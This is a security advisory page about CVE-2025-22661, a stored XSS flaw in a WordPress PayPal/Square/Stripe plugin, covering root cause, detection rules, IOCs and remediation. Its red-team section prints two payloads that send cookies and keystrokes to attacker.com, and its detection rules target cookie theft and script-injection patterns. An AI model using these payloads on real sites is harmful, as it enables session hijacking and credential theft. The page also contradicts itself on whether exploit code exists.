CVE-2025-22661
Executive Summary
CVE-2025-22661 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin "Online Payments – Get Paid with PayPal, Square & Stripe" by vcita, versions up to and including 3.20.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of input during web page generation. Given the plugin's role in handling payment processing, this flaw could be leveraged to steal session cookies, redirect users to phishing pages, or deface payment forms. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:
- No patch is available as of the analysis date, leaving all installations of the plugin vulnerable.
- The plugin handles sensitive payment data (PayPal, Square, Stripe), making it a high-value target for attackers.
- Users relying on automatic updates are unprotected until the vendor releases a fix.
- The plugin's codebase is proprietary, limiting community auditing.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access to WordPress
- User Interaction: Required (UI:R) – victim must visit the compromised page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the plugin's payment context elevate the real-world risk. An attacker could use this to harvest payment tokens or admin credentials.
Deep Dive & Mechanics
The vulnerability exists in the paypal-payment-button-by-vcita plugin. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database and later rendering it on the frontend. Specifically, fields such as button titles, descriptions, or custom CSS classes are not escaped before being output in the HTML.
Attack Flow:
- An attacker with contributor-level access (or higher) creates or edits a payment button via the plugin's admin interface.
- The attacker injects a malicious JavaScript payload into an unsanitized field (e.g., button title).
- The plugin stores the payload in the
wp_postmetatable. - When any user (including administrators) views a page containing the payment button, the stored payload executes in their browser.
- The payload can steal cookies, exfiltrate data, or perform actions on behalf of the victim.
Root Cause: The plugin uses echo or the_content filter without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (v3.20.0):
// In vcita-payment-button.php
function render_button($atts) {
$title = $atts['title']; // No sanitization
echo "<div class='vcita-button' data-title='$title'>Pay Now</div>";
}
Patched Code (Hypothetical):
function render_button($atts) {
$title = esc_js($atts['title']); // Sanitize for JavaScript context
echo "<div class='vcita-button' data-title='" . esc_attr($title) . "'>Pay Now</div>";
}
The patched version uses esc_attr() for HTML attribute context and esc_js() for JavaScript context, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with plugin v3.20.0 installed and activated.
- Contributor-level account credentials.
Exploitation Steps:
- Log in as a contributor.
- Navigate to the payment button creation page (e.g.,
/wp-admin/admin.php?page=vcita-payment-button). - In the "Button Title" field, inject the following payload:
"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the button.
- Craft a social engineering email to an administrator containing a link to the page with the malicious button.
- When the admin visits the page, the script executes and sends their cookies to the attacker's server.
Alternative Payload (Keylogger):
"><input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/k?k='+e.key)})">
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress admin logs for unusual changes to payment button settings.
- Look for HTTP requests to unknown external domains from the WordPress admin interface.
- Scan the
wp_postmetatable for suspicious JavaScript in meta fields associated with the plugin.
Hardening:
- Immediately disable the plugin if not critical for business operations.
- Implement a Web Application Firewall (WAF) rule to block common XSS patterns in POST requests to
/wp-admin/admin-ajax.phpor plugin-specific endpoints. - Restrict contributor-level access to only trusted users.
- Use a WordPress security plugin (e.g., Wordfence) to monitor file changes and block malicious requests.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Modified files in
/wp-content/plugins/paypal-payment-button-by-vcita/(check file integrity via checksums). - Suspicious entries in
wp_postmetawithmeta_keycontainingvcitaandmeta_valuecontaining<script>tags.
Network IOCs:
- Outbound HTTP requests to unknown IPs or domains from the WordPress server.
- Requests containing
document.cookiein the query string.
Log IOCs:
- WordPress debug log entries showing PHP warnings related to
vcitafunctions. - Apache/Nginx access logs with
POSTrequests to/wp-admin/admin-ajax.phpcontaining XSS payloads.
Detection Engineering
YARA Rule
rule CVE_2025_22661_Stored_XSS {
meta:
description = "Detects stored XSS payloads in vcita payment plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-22661"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/i
$payload2 = /on\w+\s*=\s*["']?[^"']*?\(/i
$plugin_path = /paypal-payment-button-by-vcita/
condition:
$plugin_path and ($payload1 or $payload2)
}
Sigma Rule
title: CVE-2025-22661 - Stored XSS in vcita Payment Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts against vcita payment plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=vcita_save_button'
cs-uri-query|re: '(<script|on\w+=)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in button titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22661 - Stored XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not essential for business operations.
- Restrict contributor-level accounts to only trusted personnel.
- Implement a WAF with rules to block XSS payloads in POST requests to plugin endpoints.
Long-Term Fix:
- Monitor the vcita plugin page for a patched version (expected >3.20.0).
- Apply the update immediately once released.
- Consider switching to an alternative payment plugin with active security maintenance.
Workaround:
- Add the following code to the theme's
functions.phpto sanitize output (use with caution):add_filter('the_content', function($content) { if (strpos($content, 'vcita') !== false) { $content = wp_kses_post($content); } return $content; });
Valters IT
Securing WordPress Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.